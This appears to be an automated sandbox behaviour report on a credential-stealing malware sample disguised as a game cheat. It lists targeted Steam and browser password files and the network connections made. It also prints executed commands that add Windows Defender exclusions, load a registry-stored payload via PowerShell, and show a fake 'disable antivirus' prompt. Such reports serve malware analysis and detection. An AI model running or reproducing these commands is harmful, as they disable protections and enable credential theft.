Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dialersvc32
- %WINDIR%\tasks\dialersvc32.job
- <SYSTEM32>\tasks\dialersvc64
- %WINDIR%\tasks\dialersvc64.job
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\cmd.exe
Reads files which store third party applications passwords
- %ProgramFiles(x86)%\steam\config\config.vdf
- %ProgramFiles(x86)%\steam\config\dialogconfig.vdf
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\sdszfo.docx
Modifies file system
Creates the following files
- %TEMP%\svchost.exe
- %TEMP%\tmpe763.tmp
- %TEMP%\tmpe7a3.tmp
- %TEMP%\tmpe7a4.tmp
- %TEMP%\tmpe7b4.tmp
- %TEMP%\tmpe7c5.tmp
- %TEMP%\tmpe7c6.tmp
- %TEMP%\tmpe7d6.tmp
- %TEMP%\tmpe7d7.tmp
- %TEMP%\tmpe7e8.tmp
- %TEMP%\tmpe7f9.tmp
- %TEMP%\tmpe7fa.tmp
- %TEMP%\tmpe80a.tmp
- %TEMP%\tmpe80b.tmp
- %TEMP%\tmpe82b.tmp
- %TEMP%\tmpe83d.tmp
- %TEMP%\tmp6fc3.tmp
- %TEMP%\tmpe84e.tmp
- %TEMP%\tmpe85e.tmp
- %TEMP%\tmpe85f.tmp
- %TEMP%\tmpe870.tmp
- %TEMP%\tmpe871.tmp
- %TEMP%\tmpe881.tmp
- %TEMP%\tmpe882.tmp
- %TEMP%\tmpe893.tmp
- %TEMP%\tmpe894.tmp
- %TEMP%\tmpe8e3.tmp
- %TEMP%\tmpe903.tmp
- %TEMP%\tmpe933.tmp
- %TEMP%\tmpe944.tmp
- %TEMP%\tmp6f16.tmp
- %TEMP%\tmpe753.tmp
- %TEMP%\tmpe82c.tmp
- %TEMP%\tmpe752.tmp
- %TEMP%\tmpe656.tmp
- %TEMP%\explorer.exe
- %TEMP%\tmpcf6f.tmp
- %TEMP%\tmpcfbe.tmp
- %TEMP%\tmpcfce.tmp
- %TEMP%\tmpcfcf.tmp
- %TEMP%\tmpcfef.tmp
- %TEMP%\tmpd000.tmp
- %TEMP%\tmpd011.tmp
- %TEMP%\tmpd021.tmp
- %TEMP%\tmpdf6e.tmp
- %TEMP%\tmpdf7e.tmp
- %TEMP%\tmpe624.tmp
- %TEMP%\tmpe634.tmp
- %TEMP%\tmpe645.tmp
- %TEMP%\tmpe666.tmp
- %TEMP%\tmpe730.tmp
- %TEMP%\tmpe667.tmp
- %TEMP%\tmpe678.tmp
- %TEMP%\tmpe688.tmp
- %TEMP%\tmpe699.tmp
- %TEMP%\tmpe6aa.tmp
- %TEMP%\tmpe6ba.tmp
- %TEMP%\tmpe6bb.tmp
- %TEMP%\tmpe6db.tmp
- %TEMP%\tmpe6ec.tmp
- %TEMP%\tmpe6fd.tmp
- %TEMP%\tmpe70d.tmp
- %TEMP%\tmpe71e.tmp
- %TEMP%\tmpe71f.tmp
- %TEMP%\tmpe72f.tmp
- %TEMP%\tmpe741.tmp
- %TEMP%\tmp7e45.tmp
Deletes the following files
- %TEMP%\tmpcf6f.tmp
- %TEMP%\tmpe7a4.tmp
- %TEMP%\tmpe7a3.tmp
- %TEMP%\tmpe7c5.tmp
- %TEMP%\tmpe7b4.tmp
- %TEMP%\tmpe7d6.tmp
- %TEMP%\tmpe7c6.tmp
- %TEMP%\tmpe7e8.tmp
- %TEMP%\tmpe7d7.tmp
- %TEMP%\tmpe7fa.tmp
- %TEMP%\tmpe7f9.tmp
- %TEMP%\tmpe80b.tmp
- %TEMP%\tmpe80a.tmp
- %TEMP%\tmpe82c.tmp
- %TEMP%\tmpe82b.tmp
- %TEMP%\tmpe84e.tmp
- %TEMP%\tmpe83d.tmp
- %TEMP%\tmpe85f.tmp
- %TEMP%\tmpe85e.tmp
- %TEMP%\tmpe871.tmp
- %TEMP%\tmpe870.tmp
- %TEMP%\tmpe882.tmp
- %TEMP%\tmpe881.tmp
- %TEMP%\tmpe894.tmp
- %TEMP%\tmpe893.tmp
- %TEMP%\tmpe903.tmp
- %TEMP%\tmpe8e3.tmp
- %TEMP%\tmpe944.tmp
- %TEMP%\tmpe933.tmp
- %TEMP%\tmp6f16.tmp
- %TEMP%\tmpe753.tmp
- %TEMP%\tmp6fc3.tmp
- %TEMP%\tmpe763.tmp
- %TEMP%\tmpe752.tmp
- %TEMP%\tmpcfbe.tmp
- %TEMP%\tmpcfce.tmp
- %TEMP%\tmpcfcf.tmp
- %TEMP%\tmpcfef.tmp
- %TEMP%\tmpd000.tmp
- %TEMP%\tmpd011.tmp
- %TEMP%\tmpd021.tmp
- %TEMP%\tmpdf6e.tmp
- %TEMP%\tmpdf7e.tmp
- %TEMP%\tmpe634.tmp
- %TEMP%\tmpe624.tmp
- %TEMP%\tmpe656.tmp
- %TEMP%\tmpe645.tmp
- %TEMP%\tmpe667.tmp
- %TEMP%\tmpe666.tmp
- %TEMP%\tmpe688.tmp
- %TEMP%\tmpe678.tmp
- %TEMP%\tmpe6aa.tmp
- %TEMP%\tmpe699.tmp
- %TEMP%\tmpe6bb.tmp
- %TEMP%\tmpe6ba.tmp
- %TEMP%\tmpe6ec.tmp
- %TEMP%\tmpe6db.tmp
- %TEMP%\tmpe70d.tmp
- %TEMP%\tmpe6fd.tmp
- %TEMP%\tmpe71f.tmp
- %TEMP%\tmpe71e.tmp
- %TEMP%\tmpe730.tmp
- %TEMP%\tmpe72f.tmp
- %TEMP%\tmpe741.tmp
- %TEMP%\tmp7e45.tmp
Network activity
Connects to
- '16#.#5.169.73':49194
- 'ap#.ip.sb':443
TCP
HTTP POST requests
- http://16#.##.169.73:49194/ via 16#.#5.169.73
Other
- 'ap#.ip.sb':443
UDP
- DNS ASK ap#.ip.sb
Miscellaneous
Creates and executes the following
- '%TEMP%\svchost.exe'
- '%TEMP%\explorer.exe'
- '%APPDATA%\chrome\updater.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreferenc...
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please dis...
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\svchost.exe
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\explorer.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please disable antivirus...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '<SYSTEM32>\dllhost.exe' /Processid:{2b907932-6c07-49af-b91e-5c598e311f6b}
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAG4AZAB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB6AG8AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUA...
